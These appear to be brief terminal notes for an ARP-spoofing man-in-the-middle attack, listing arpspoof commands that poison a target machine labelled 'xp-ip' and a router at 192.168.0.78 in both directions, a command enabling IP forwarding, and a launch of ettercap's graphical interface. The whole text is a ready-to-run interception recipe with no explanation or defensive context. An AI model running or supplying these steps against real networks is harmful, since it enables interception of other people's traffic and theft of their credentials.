first terminal:
arpspoof -i eth0 -t xp-ip router-ip(192.168.0.78)

---------------------------------------------
second terminal:
arpspoof -i eth0 -t router-ip(192.168.0.78) xp-ip

-------------------------------
Third terminal:
echo 1 > /proc/sys/net/ipv4/ip_forward

ettercap -G